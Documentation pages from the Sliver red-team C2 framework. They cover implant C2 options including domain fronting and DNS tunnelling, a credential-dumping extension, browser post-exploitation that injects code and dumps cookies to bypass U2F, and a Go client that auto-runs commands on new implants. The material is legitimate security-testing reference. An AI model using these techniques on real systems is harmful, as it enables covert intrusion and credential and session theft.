"repo_url": "https://github.com/sliverarmory/CredManBOF",
|
||||
"help": "Dump credentials using the CredsBackupCredentials API",
|
||||
"long_help": "",
|
||||
"depends_on": "coff-loader",
|
||||
"entrypoint": "go",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "credman.x64.o"
|
||||
},
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "386",
|
||||
"path": "credman.x86.o"
|
||||
}
|
||||
],
|
||||
"arguments": [
|
||||
{
|
||||
"name": "pid",
|
||||
"desc": "PID of a process started by the target user",
|
||||
"type": "int",
|
||||
"optional": false
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Once the manifest is defined load it into your client using `extensions load`, locally loaded extensions do not need to be cryptographically signed. The paths in the manifest should be relative to the manifest file, parent directories are not allowed.
|
||||
|
||||
More details can be found on the [Aliases & Extensions](/docs?name=Aliases+and+Extensions) page.
|
||||
|
||||
**IMPORTANT:** For BOF extensions to be properly detected by the Sliver client, the `path` must use the `.o` file extension.
|
||||
@@ -0,0 +1,34 @@
|
||||
Advanced options, as the name suggests, are for advanced users that know what they're doing. Using these options isn't the best user experience and may result in broken or unexpected implant behavior. Only use these options if you understand what they do.
|
||||
|
||||
Advanced options are configured per-C2 endpoint and are passed as URL encoded parameters to the C2 URL in the `generate` command. For example:
|
||||
|
||||
```
|
||||
generate --http http://example.com?driver=wininet
|
||||
```
|
||||
|
||||
### HTTP C2 Advanced Options
|
||||
|
||||
- `net-timeout` - Network timeout value, parsed by `time.ParseDuration`.
|
||||
- `tls-timeout` - TLS handshake timeout value, parsed by `time.ParseDuration`.
|
||||
- `poll-timeout` - Poll timeout value, parsed by `time.ParseDuration`.
|
||||
- `max-errors` - Max number of HTTP errors before failing (integer parsed by `strconv.Atoi`).
|
||||
- `driver` - Manually specify the HTTP driver (string). On windows this value can be set to `wininet` to use the `wininet` HTTP library for C2 communication.
|
||||
- `force-http` - Set to `true` to always force the use of plaintext HTTP.
|
||||
- `disable-accept-header` - Set to `true` to disable the HTTP accept request header.
|
||||
- `disable-upgrade-header` - Set to `true` to disable the HTTP upgrade request header.
|
||||
- `proxy` - Manually specify HTTP proxy, this value is only used with Go HTTP driver, and the format should be one that is accepted by the Go HTTP library. You must specify a URI scheme with the hostname of the proxy. For example, `?proxy=http://myproxy.corp.com:8080`
|
||||
- `proxy-username` - Specify a proxy username. Only valid with the Go HTTP driver.
|
||||
- `proxy-password` - Specify the proxy password. Only valid with the Go HTTP driver.
|
||||
- `ask-proxy-creds` - Set to `true` to ask the user for HTTP proxy credentials. Only valid when used with the `wininet` HTTP driver.
|
||||
- `host-header` - Used for domain fronting.
|
||||
|
||||
### DNS C2 Advanced Options
|
||||
|
||||
- `timeout` - Network timeout value, parsed by `time.ParseDuration`.
|
||||
- `retry-wait` - Upon query failure, wait this amount of time before retrying.
|
||||
- `retry-count` - Upon query failure, retry this many times before failing.
|
||||
- `workers-per-resolver` - Number of worker goroutines per functional DNS resolver.
|
||||
- `max-errors` - Max number of query errors before failing (integer parsed by `strconv.Atoi`).
|
||||
- `force-base32` - Always use Base 32 encoding.
|
||||
- `force-resolv-conf` - Force the use of a provided `resolv.conf`. Note that you'll need to URL encode the newlines/etc of the file contents into the parameter.
|
||||
- `resolvers` - Force the use of specific DNS resolvers. You can supply more than one by separating them with `+`, i.e. `...?resolvers=1.1.1.1+9.9.9.9`
|
||||
@@ -0,0 +1,52 @@
|
||||
⚠️ **IMPORTANT:** This content was NOT created by the Sliver authors. Please keep in mind it may be out of date or contain slight inaccuracies:
|
||||
|
||||
### Books
|
||||
|
||||
- https://www.amazon.com/Adversarial-Tradecraft-Cybersecurity-real-time-computer/dp/1801076200/
|
||||
|
||||
### Videos
|
||||
|
||||
- https://youtu.be/3R6WKUgN0K4?t=456
|
||||
- https://www.youtube.com/watch?v=QO_1UMaiWHk
|
||||
- https://www.youtube.com/watch?v=izMMmOaLn9g
|
||||
- https://www.youtube.com/watch?v=qIbrozlf2wM
|
||||
- https://www.youtube.com/watch?v=CKfjLnEMfvI
|
||||
|
||||
### Blogs
|
||||
|
||||
- https://bishopfox.com/blog/passing-the-osep-exam-using-sliver
|
||||
- https://notateamserver.xyz/sliver-101/
|
||||
- https://dominicbreuker.com/post/learning_sliver_c2_01_installation/
|
||||
- https://vk9-sec.com/how-to-set-up-use-c2-sliver/
|
||||
- https://0x90-1.gitbook.io/sliver/
|
||||
- https://blog.ecapuano.com/p/so-you-want-to-be-a-soc-analyst-part-ea2
|
||||
- https://wsummerhill.github.io/redteam/2023/07/25/Sliver-C2-Usage-for-Red-Teams.html
|
||||
- https://rootsecdev.medium.com/hacking-active-directory-with-sliver-c2-19d7ceabbf13
|
||||
- https://dev.to/living_syn/sliver-and-cursed-chrome-for-post-exploitation-4gnk
|
||||
|
||||
### Opsec Blogs
|
||||
|
||||
- https://tishina.in/opsec/sliver-opsec-notes
|
||||
|
||||
### Development Blogs
|
||||
|
||||
- https://github.com/thelikes/blog/blob/master/posts/sliver-bof-dev-quickstart.md
|
||||
- https://medium.com/@youcef.s.kelouaz/writing-a-sliver-c2-powershell-stager-with-shellcode-compression-and-aes-encryption-9725c0201ea8
|
||||
- https://security.humanativaspa.it/customizing-sliver-part-1/
|
||||
- https://security.humanativaspa.it/customizing-sliver-part-2/
|
||||
- https://security.humanativaspa.it/customizing-sliver-part-3/
|
||||
|
||||
### Detection & Analysis
|
||||
|
||||
- https://www.immersivelabs.com/blog/detecting-and-decrypting-sliver-c2-a-threat-hunters-guide/
|
||||
- https://blogs.vmware.com/security/2023/01/detection-of-lateral-movement-with-the-sliver-c2-framework.html
|
||||
- https://michaelkoczwara.medium.com/sliver-c2-implant-analysis-62773928097f
|
||||
- https://blog.tofile.dev/2021/09/04/sliver.html
|
||||
- https://bherunda.medium.com/hunting-detecting-smb-named-pipe-pivoting-lateral-movement-b4382bd1df4
|
||||
|
||||
### Threat Intel Reports
|
||||
|
||||
- https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/
|
||||
- https://www.cybereason.com/blog/sliver-c2-leveraged-by-many-threat-actors
|
||||
- https://www.team-cymru.com/post/sliver-case-study-assessing-common-offensive-security-tools
|
||||
- https://www.ncsc.gov.uk/files/Advisory%20Further%20TTPs%20associated%20with%20SVR%20cyber%20actors.pdf
|
||||
@@ -0,0 +1,97 @@
|
||||
You'll want to compile from a MacOS or Linux machine, compiling from native Windows in theory is possible, but none of the asset scripts are designed to run on Windows, you can cross-compile the Windows server/client binaries from a better operating system like Linux or MacOS. If you only have a Windows machine see "Windows Builds" below (TL;DR use WSL).
|
||||
|
||||
### Compile From Source (No Docker)
|
||||
|
||||
From scratch without Docker, requirements for compiling:
|
||||
|
||||
- Go v1.20 or later, though we recommend Go v1.21
|
||||
- `make`, `sed`, `tar`, `curl`, `zip`, `cut` commands; most of these are installed by default but you may need to install `make`, `curl`, and `zip` depending on your distribution. On MacOS you may need to install XCode and accompanying cli tools.
|
||||
|
||||
**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.
|
||||
|
||||
#### Compiling
|
||||
|
||||
First git clone the repository:
|
||||
|
||||
```
|
||||
$ git clone https://github.com/BishopFox/sliver.git
|
||||
$ cd sliver
|
||||
```
|
||||
|
||||
The `master` branch will contain the latest Sliver features, however only release version of Sliver are recommended for production use. It is strongly recommended to checkout the latest tagged release branch when compiling from source unless you're a developer:
|
||||
|
||||
```
|
||||
$ git checkout tags/v1.5.39
|
||||
```
|
||||
|
||||
Sliver embeds its own copy of the Go compiler and a few internal tools, the first time your run `make` a bash script will run to download these assets to your local system. This means the first build will take much longer than subsequent builds, especially if your internet connection is slow.
|
||||
|
||||
By default `make` will build whatever platform you're currently running on:
|
||||
|
||||
```
|
||||
$ make
|
||||
```
|
||||
|
||||
This will create `sliver-server` and `sliver-client` binaries.
|
||||
|
||||
#### Cross-compile to Specific Platforms
|
||||
|
||||
You can also specify a target platform for the `make` file, though you may need cross-compilers (see below):
|
||||
|
||||
```
|
||||
$ make macos
|
||||
$ make macos-arm64
|
||||
$ make linux
|
||||
$ make linux-arm64
|
||||
$ make windows
|
||||
```
|
||||
|
||||
### Docker Build
|
||||
|
||||
The Docker builds are mostly designed for running unit tests, but can be useful if you want a "just do everything" build, you just need to have Docker installed on the machine. First `git clone` the Sliver repo, then run the `build.py` script (the script isn't required but has a few short cuts see `./build.py --help`). Alternatively, execute the following command:
|
||||
|
||||
```
|
||||
docker build -t sliver .
|
||||
```
|
||||
|
||||
The Docker build includes mingw and Metasploit, so it can take a while to build from scratch but Docker should cache the layers effectively. Sliver will also run it's unit tests as part of the build, and that takes a few minutes too.
|
||||
|
||||
### Windows Builds
|
||||
|
||||
**NOTE:** Starting with v1.1.0 in order to cross-compile Windows builds you'll need `mingw` on your system:
|
||||
|
||||
- Kali/Ubuntu/Debian `sudo apt install mingw-w64`
|
||||
- MacOS `brew install mingw-w64`
|
||||
|
||||
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
|
||||
|
||||
## Developers
|
||||
|
||||
If you want to modify any of the `.proto` files you'll need to setup a few additional tools to regenerate the `.pb.go` files.
|
||||
|
||||
- Protoc v3.19.4 or later
|
||||
- Protoc-gen-go v1.27.1
|
||||
- Protoc-gen-go-grpc v1.2.0
|
||||
|
||||
#### `protoc`
|
||||
|
||||
First install your platform's version of `protoc` v3.19.4 or later:
|
||||
|
||||
https://github.com/protocolbuffers/protobuf/releases/latest
|
||||
|
||||
Ensure that correct `protoc` version is on your `$PATH`, you can check with a simple `protoc --version`
|
||||
|
||||
#### `protoc-gen-go` `protoc-gen-go-grpc`
|
||||
|
||||
Assuming `$GOPATH/bin` is on your `$PATH` simply run the following commands to install the appropriate versions of `protoc-gen-go` and `protoc-gen-go-grpc`:
|
||||
|
||||
```
|
||||
go install google.golang.org/protobuf/cmd/[email protected]
|
||||
go install google.golang.org/grpc/cmd/[email protected]
|
||||
```
|
||||
|
||||
Ensure that these are both on your `$PATH` after running the commands, if not you probably need to add `$GOPATH/bin` to your `$PATH`. To regenerate the Protobuf and gRPC files run:
|
||||
|
||||
```
|
||||
$ make pb
|
||||
```
|
||||
@@ -0,0 +1,84 @@
|
||||
### General Server Configuration
|
||||
|
||||
Starting in version 1.0.0 the Sliver server has a configuration file located the `configs` sub-directory of the [`SLIVER_ROOT_DIR`](/docs?name=Environment+Variables), by default this will be `~/.sliver/configs/server.json`. If no configuration file exists, a default configuration will be generated and written to disk on startup. The default configuration is shown below:
|
||||
|
||||
#### Default Server Config
|
||||
|
||||
```json
|
||||
{
|
||||
"daemon_mode": false,
|
||||
"daemon": {
|
||||
"host": "",
|
||||
"port": 31337
|
||||
},
|
||||
"logs": {
|
||||
"level": 4,
|
||||
"grpc_unary_payloads": false,
|
||||
"grpc_stream_payloads": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
#### Configuration Options
|
||||
|
||||
- `daemon_mode` - Enable [daemon mode](/docs?name=Daemon+Mode)
|
||||
- `daemon` - An object containing options related to `daemon_mode`, these values are only used when `daemon_mode` is set to `true`.
|
||||
- `host` - What network interface to bind the `daemon_mode` client listener to. By default this is an empty string, which indicates binding to all interfaces.
|
||||
- `port` - TCP port to bind the `deamon_mode` client listener to.
|
||||
- `logs` - An object containing configure options for server logs
|
||||
- `level` - The `logrus` logging level (1 - 5), default this is set to `4`, which is the`INFO` level; increasing this value increases the verbosity of the logs e.g. `DEBUG` is `5` and `SILENT` is `1`
|
||||
- `grpc_unary_payloads` - Log gRPC unary payloads
|
||||
- `grpc_stream_payloads` - Log gRPC streaming payloads
|
||||
|
||||
## Database Configuration
|
||||
|
||||
Starting in version v1.1.0 Sliver supports SQL database configurations, by default this configuration file is located at `~/.sliver/configs/database.json`:
|
||||
|
||||
#### Default Database Configuration
|
||||
|
||||
```json
|
||||
{
|
||||
"dialect": "sqlite3",
|
||||
"database": "",
|
||||
"username": "",
|
||||
"password": "",
|
||||
"host": "",
|
||||
"port": 0,
|
||||
"params": null,
|
||||
"max_idle_conns": 10,
|
||||
"max_open_conns": 100,
|
||||
"log_level": "warn"
|
||||
}
|
||||
```
|
||||
|
||||
#### Configuration Options
|
||||
|
||||
- `dialect` - Defines the type of database to connect to, Sliver supports `mysql`, `postgresql`, and `sqlite3`. By default an internal version of `sqlite3` is used, which is saved to `~/.sliver/sliver.db` by default.
|
||||
- `database` - The name of the database to connect to, note that this option is ignored when using `sqlite3`.
|
||||
- `username` - Database username.
|
||||
- `password` - Database password.
|
||||
- `host` - Database host.
|
||||
- `port` - Database TCP port.
|
||||
- `params` - Is a key/value string map that can be used to pass dialect specific options to the DSN/connection string. This can be used for example to enable SSL/TLS on certain database connections.
|
||||
- `max_idle_conns` - Max idle connections in the database connection pool.
|
||||
- `max_open_conns` - Max open connections in the database connection pool.
|
||||
- `log_level` - Configures the log level for database logging, can be set to: `silent`, `error`, `warn`, or `info`. Default level is `warn`, note that setting this option to `info` may result in sensitive information being logged to disk!
|
||||
|
||||
# Client Configuration
|
||||
|
||||
### Operator
|
||||
|
||||
Client configurations must be generated by the server (they contain per-user key pairs). For more details see [multiplayer mode](/docs?name=Multi-player+Mode), and example configuration is shown below. Client configuration files can be copied into `~/.sliver-client/configs/`:
|
||||
|
||||
```json
|
||||
{
|
||||
"operator": "moloch",
|
||||
"lhost": "localhost",
|
||||
"lport": 31337,
|
||||
"ca_certificate": "-----BEGIN CERTIFICATE-----\nMIIBoTCCASegAwIBAgIRAPhwFTptJKJM4Bef71nA29YwCgYIKoZIzj0EAwMwCzEJ\nMAcGA1UEChMAMB4XDTIwMDExNDIyNTY1NloXDTIzMDExMzIyNTY1NlowCzEJMAcG\nA1UEChMAMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEmvGJZ8zDqLxge2PfhK1QcdOi\n6kEV8vgz/S1fSiU9h21JDVaX+FFhG2cYIzr1Q3zE2Ml+pUdnwUSk24pFFTUhjlsO\n4H2YQC/W46DXSa8VQdvpfDaTPYLzXuBhsdVcn2rdo08wTTAOBgNVHQ8BAf8EBAMC\nAqQwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA8GA1UdEwEB/wQFMAMB\nAf8wCwYDVR0RBAQwAoIAMAoGCCqGSM49BAMDA2gAMGUCMQDOj0sVrVoJSkN4qiqn\nS9wMFNeVOZ+5TVZOOpTn19nc4C/wq9jwdYRHW1dlmvWu2LMCMCm2y1TkaWLa/i4t\nArTCIiCmNVRxAR1xFsWama9yv7wFY0+5xKS7W944418v0jYJKA==\n-----END CERTIFICATE-----\n",
|
||||
"private_key": "-----BEGIN EC PRIVATE KEY-----\nMIGkAgEBBDBido1KtKSwQah/WIoGkDZDX2WPXdexUVAmi0tf6Pd9vK5pfpt2II+n\n8BqkV0ifyjugBwYFK4EEACKhZANiAATHATh7e8uX/MN5mokguQf4ywXgTaihYD//\nyraEUcZAYsrCtDHmdAH356GPrxlPSpwyWhFV3fIQJKI2Hf/8/mAd3wqCGQQzq5Mt\ncM0B36+vP9wOGsTI/tc32+0glRZoxo8=\n-----END EC PRIVATE KEY-----\n",
|
||||
"certificate": "-----BEGIN CERTIFICATE-----\nMIIBiTCCAQ+gAwIBAgIQZLa8QUXWDnuht3G9+g9yKTAKBggqhkjOPQQDAzALMQkw\nBwYDVQQKEwAwHhcNMTkwNzIyMjE1MzAzWhcNMjIwNzIxMjE1MzAzWjAcMQkwBwYD\nVQQKEwAxDzANBgNVBAMTBm1vbG9jaDB2MBAGByqGSM49AgEGBSuBBAAiA2IABMcB\nOHt7y5f8w3maiSC5B/jLBeBNqKFgP//KtoRRxkBiysK0MeZ0AffnoY+vGU9KnDJa\nEVXd8hAkojYd//z+YB3fCoIZBDOrky1wzQHfr68/3A4axMj+1zfb7SCVFmjGj6Mn\nMCUwDgYDVR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMCMAoGCCqGSM49\nBAMDA2gAMGUCMH0hbeghZfMkhp9Wf2a7eqj8IruwKH6vQql/6nxQ8aunfCUUxWo8\nOrxxaqp+bGCCCQIxAK5Icqww8m9llhprfzENaFZUCkpyvBMm9EB8B69SBFBHcVFm\n7bqHjFFMH39g2JCy9Q==\n-----END CERTIFICATE-----\n"
|
||||
}
|
||||
```
|
||||
|
||||
**Note:** The `operator` field in this configuration file only modifies the value displayed by the client when selecting configurations, modifying it will not change what name the server uses to identify the user. The server determines the user based on the `CommonName` in the certificate. If you want to change the user name you need to regenerate the client configuration with the new name.
|
||||
@@ -0,0 +1,56 @@
|
||||
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box, you only need cross-compilers when using `--format shared`.
|
||||
|
||||
Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console.
|
||||
|
||||
Sliver v1.5.30 and later also support [External Builders](/docs?name=External+Builders), which can be used to easily cross-compile implants.
|
||||
|
||||
## From Linux to MacOS/Windows
|
||||
|
||||
To compile Windows shared library and shellcode implants from Linux, install mingw from your local package manager:
|
||||
|
||||
```
|
||||
sudo apt install mingw-w64
|
||||
```
|
||||
|
||||
To compile MacOS shared library implants from Linux, we recommend using https://github.com/tpoechtrager/osxcross by default Sliver will look in `/opt/osxcross` but you can override this via [environment variables](/docs?name=Environment+Variables). If you do not have a MacOS based machine you can use GitHub Actions' MacOS instances to build OSXCross.
|
||||
|
||||
**NOTE:** Sliver expects the root of the osxcross git repo to be located at `/opt/osxcross` and the actual binaries in `/opt/osxcross/target/bin`.
|
||||
|
||||
An example deployment is shown below, you have to procure the `MacOSX11.1.sdk.tar.xz` yourself due to license restrictions (see the OSXCross GitHub for more details):
|
||||
|
||||
```shell
|
||||
sudo apt-get install -y git curl libssl-dev cmake liblzma-dev libxml2-dev patch clang zlib1g-dev
|
||||
git clone https://github.com/tpoechtrager/osxcross.git /opt/osxcross
|
||||
curl -o /opt/osxcross/tarballs/MacOSX11.1.sdk.tar.xz 'https://example.com/MacOSX11.1.sdk.tar.xz'
|
||||
cd /opt/osxcross
|
||||
UNATTENDED=1 ./build.sh
|
||||
```
|
||||
|
||||
Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
|
||||
|
||||
## From MacOS to Linux/Windows
|
||||
|
||||
To compile Windows shared library and shellcode implants from MacOS install mingw from brew:
|
||||
|
||||
````
|
||||
|
||||
brew install mingw-w64
|
||||
|
||||
```
|
||||
|
||||
For Linux, we recommend `musl-cross` to target 64-bit Linux, which can be installed via brew:
|
||||
|
||||
```
|
||||
|
||||
brew install FiloSottile/musl-cross/musl-cross
|
||||
brew install mingw-w64
|
||||
|
||||
```
|
||||
|
||||
I'm not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
|
||||
|
||||
## From Windows to MacOS/Linux
|
||||
|
||||
Good luck.
|
||||
```
|
||||
````
|
||||
@@ -0,0 +1,47 @@
|
||||
Cursed is a Chrome/Chromium/Edge/Electron post-exploitation tool kit introduced in Sliver v1.5.25, which integrates with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) (originally [Sliver Overlord](https://github.com/BishopFox/sliver-overlord)). It can automatically find existing Chrome Extensions with the required permissions for [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) and remotely inject it onto the target system, or you can start an interactive REPL to inject arbitrary code into any Chrome/Chromium/Edge/Electron context.
|
||||
|
||||
Since web requests and other activity originate from the target machine/browser instance, Cursed Chrome and the Cursed tool kit are excellent options for bypassing U2F/Webauthn, hardware attestation, and geo-IP restrictions in web applications.
|
||||
|
||||
## Cursed Chrome
|
||||
|
||||
The `cursed chrome` command can be used to restart a remote system's Chrome browser with remote debugging enabled. If no payload is specified using `--payload` the command will simply restart Chrome with remote debugging enabled, you can then use `cursed console` to interact with any debug target.
|
||||
|
||||
If a payload is specified, the command will restart Chrome with remote debugging, enumerate installed browser extensions, determine if any extension has the required permissions for [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome), and inject the payload into the extension's execution context.
|
||||
|
||||
So a typical workflow looks like:
|
||||
|
||||
1. Setup [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
|
||||
2. Pop Sliver session, or go interactive from a beacon
|
||||
3. `cursed chrome --payload background.js`
|
||||
4. Upstream browser to CursedChrome proxy
|
||||
5. Enjoy!
|
||||
|
||||
## Cursed Edge
|
||||
|
||||
Works identically to `cursed chrome` but the UI displays "Edge" instead of "Chrome" much like Edge itself.
|
||||
|
||||
## Cursed Electron
|
||||
|
||||
The `cursed electron` command can be used to restart an Electron application with remote debugging enabled, you can subsequently use `cursed console` to interact with any debug target. Note that some Electron applications disable the remote debugging functionality, which will prevent this feature from working.
|
||||
|
||||
## Cursed Console
|
||||
|
||||
The `cursed console` command can be used to start an interactive REPL with any cursed process. You will need to start a cursed process using `cursed chrome`, `cursed edge`, or `cursed electron` before using `cursed console`. You can list cursed processes using the `cursed` command. 
|
||||
|
||||
## Cursed Cookies
|
||||
|
||||
Starting in v1.5.28 the `cursed cookies` command can be used to dump a remote cursed process' cookies to a local file (newline delimited json), for example:
|
||||
|
||||
```
|
||||
[server] sliver (CHRONIC_GOAT) > cursed chrome
|
||||
|
||||
...
|
||||
|
||||
[server] sliver (CHRONIC_GOAT) > cursed cookies
|
||||
|
||||
? Select a curse: 44199 [Session 56a5cd6f] /Applications/Google Chrome.app/Contents/MacOS/Google Chrome
|
||||
|
||||
[*] Successfully dumped 437 cookies
|
||||
[*] Saved to cookies-20220925182151.json
|
||||
|
||||
```
|
||||
@@ -0,0 +1,108 @@
|
||||
Although the `sliver-client` is the default way to interact with a `sliver-server` and with implant sessions, there might be a time where you would want to automate some tasks upon reception of certain events.
|
||||
|
||||
To do so, one case use [sliver-script](https://github.com/moloch--/sliver-script), [sliver-py](https://github.com/moloch--/sliver-py) or write a custom client in another language. As all the communications between the client and the server are based on gRPC, any language with gRPC support should in theory be used to create a custom client.
|
||||
|
||||
## Writing a Go client
|
||||
|
||||
In this example, we will focus on writing a custom Go client that executes a new system command on every new implant that connects to the sliver server.
|
||||
|
||||
Create a new Go project somewhere on your file system:
|
||||
|
||||
```
|
||||
mkdir sliver-custom-client
|
||||
cd sliver-custom-client
|
||||
touch main.go
|
||||
go mod init github.com/<your-username>/<your-project-name>
|
||||
go get github.com/bishopfox/sliver
|
||||
```
|
||||
|
||||
The module path (`github.com/<your-username>/<your-project-name>`) can be anything, as long as it respects the [requirements](https://golang.org/ref/mod#go-mod-init).
|
||||
|
||||
The next step is to write our client code (`main.go`):
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"flag"
|
||||
"io"
|
||||
"log"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
func makeRequest(session *clientpb.Session) *commonpb.Request {
|
||||
if session == nil {
|
||||
return nil
|
||||
}
|
||||
timeout := int64(60)
|
||||
return &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: timeout,
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
var configPath string
|
||||
flag.StringVar(&configPath, "config", "", "path to sliver client config file")
|
||||
flag.Parse()
|
||||
|
||||
// load the client configuration from the filesystem
|
||||
config, err := assets.ReadConfig(configPath)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
// connect to the server
|
||||
rpc, ln, err := transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
log.Println("[*] Connected to sliver server")
|
||||
defer ln.Close()
|
||||
|
||||
// Open the event stream to be able to collect all events sent by the server
|
||||
eventStream, err := rpc.Events(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
// infinite loop
|
||||
for {
|
||||
event, err := eventStream.Recv()
|
||||
if err == io.EOF || event == nil {
|
||||
return
|
||||
}
|
||||
// Trigger event based on type
|
||||
switch event.EventType {
|
||||
|
||||
// a new session just came in
|
||||
case consts.SessionOpenedEvent:
|
||||
session := event.Session
|
||||
// call any RPC you want, for the full list, see
|
||||
// https://github.com/BishopFox/sliver/blob/master/protobuf/rpcpb/services.proto
|
||||
resp, err := rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Path: `c:\windows\system32\calc.exe`,
|
||||
Output: false,
|
||||
Request: makeRequest(session),
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
// Don't forget to check for errors in the Response object
|
||||
if resp.Response != nil && resp.Response.Err != "" {
|
||||
log.Fatal(resp.Response.Err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Finally, run `go mod tidy` to make sure to have all the external dependencies, and run `go build .` to build the code.
|
||||
|
||||
That's it, you wrote your first custom client in Go for sliver.
|
||||
@@ -0,0 +1,148 @@
|
||||
DNS can be a finicky nuanced protocol, if you're unfamiliar with DNS and related concepts I'd recommending reading up on the protocol and ecosystem a bit before leveraging it for C2.
|
||||
|
||||
# Setup
|
||||
|
||||
Use the following steps to configure a domain for DNS C2 (and DNS Canaries), you can use any DNS provider you wish as long as you setup the records correctly. I recommend setting a TTL of ~5 minutes for each record.
|
||||
|
||||
1. Create an `A` record for your `example.com` pointing at your Sliver server (or redirector) IP address.
|
||||
2. Create an `A` record for an `ns1` subdomain (i.e. `ns1.example.com`) that points to your Sliver server (or redirector) IP address.
|
||||
3. Create an NS record with an arbitrary subdomain, for example `1` (i.e. `1.example.com`) which is managed by `ns1.example.com`.
|
||||
4. You can now use `1.example.com` as your DNS C2 domain e.g. `generate --dns 1.example.com.` (always use the FQDN when issuing DNS commands).
|
||||
|
||||
**IMPORTANT:** Always use the FQDN when issuing DNS commands in the Sliver console (e.g., `1.example.com.` note the trailing `.`). DNS is a finicky protocol!
|
||||
|
||||
The final configuration should look like for the domain `lil-peep.rip`:
|
||||

|
||||
|
||||
**IMPORTANT:** Remember to disable Cloudflare's "cloud" when configuring these records, and to adjust the TTLs.
|
||||
|
||||
### DNS Listeners
|
||||
|
||||
Make sure you have a DNS listener running, and to use the FQDN again. Sliver will not be able to correctly parse C2 traffic if the parent domain is misconfigured:
|
||||
|
||||
```
|
||||
sliver > dns --domains 1.example.com.
|
||||
|
||||
[*] Starting DNS listener with parent domain(s) [1.example.com.] ...
|
||||
[*] Successfully started job #1
|
||||
```
|
||||
|
||||
### DNS Canaries
|
||||
|
||||
DNS Canaries are unique per-binary domains that are optionally inserted during the string obfuscation process. These domains are not actually used by the implant code and are deliberately _not obfuscated_ so that they show up if someone runs `strings` on the implant. If these domains are ever resolved (and you have a `dns` listener running) you'll get an alert telling which specific file was discovered by the blue team.
|
||||
|
||||
Example `generate` command with canaries, make sure to use the FQDN:
|
||||
|
||||
```
|
||||
sliver > generate --http foobar.com --canary 1.example.com.
|
||||
```
|
||||
|
||||
You can view previously generated canaries with the `canaries` command.
|
||||
|
||||
### Ubuntu
|
||||
|
||||
**NOTE:** On recent versions of Ubuntu, you may need to disable `systemd-resolved` as this binds to your local UDP:53 and messes up everything about how DNS is supposed to work. To use a sane DNS configuration run the following commands as root because `resolved` probably broke `sudo` too:
|
||||
|
||||
```
|
||||
systemctl disable systemd-resolved.service
|
||||
systemctl stop systemd-resolved
|
||||
rm -f /etc/resolv.conf
|
||||
vim /etc/resolv.conf
|
||||
```
|
||||
|
||||
Add a normal `resolv.conf`:
|
||||
|
||||
```
|
||||
nameserver 1.1.1.1
|
||||
nameserver 8.8.8.8
|
||||
```
|
||||
|
||||
# Under the Hood
|
||||
|
||||
**NOTE:** This describes the v1.5+ implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about [here](/docs?name=Transport+Encryption), this is just about how do we move bytes back and forth.
|
||||
|
||||
### Design Goals
|
||||
|
||||
The current implementation of DNS C2 is primarily designed for "speed" (as far as DNS tunnels go) NOT stealth; it does not intend to be subtle in its use of DNS to tunnel data. While DNS can be a very useful protocol for stealthy signaling, Sliver here is creating a full duplex tunnels, doing so covertly would generally be far too slow to be practical. The general rule of thumb is that DNS C2 is easy to detect _if you look_. That's not to say DNS C2 isn't useful or will be immediately detected as is often no one looks. As DNS does not require direct "line of sight" networking, it is often useful for tunneling out of highly restricted networks, and if the environment has not been instrumented to specifically detect DNS C2 it will likely go undetected.
|
||||
|
||||
For example glossing over some details, if a DNS client attempts to `foo.1.example.com` it will query it's local resolver for an answer. If the resolver does not know the answer it will start "recursively" resolving the domain eventually finding its way to the "authoritative name server" for the domain, which is controlled by the owner of `example.com`. DNS C2 works by stuff data in a subdomain, and then sending a query for that subdomain to the authoritative name server.
|
||||
|
||||
```
|
||||
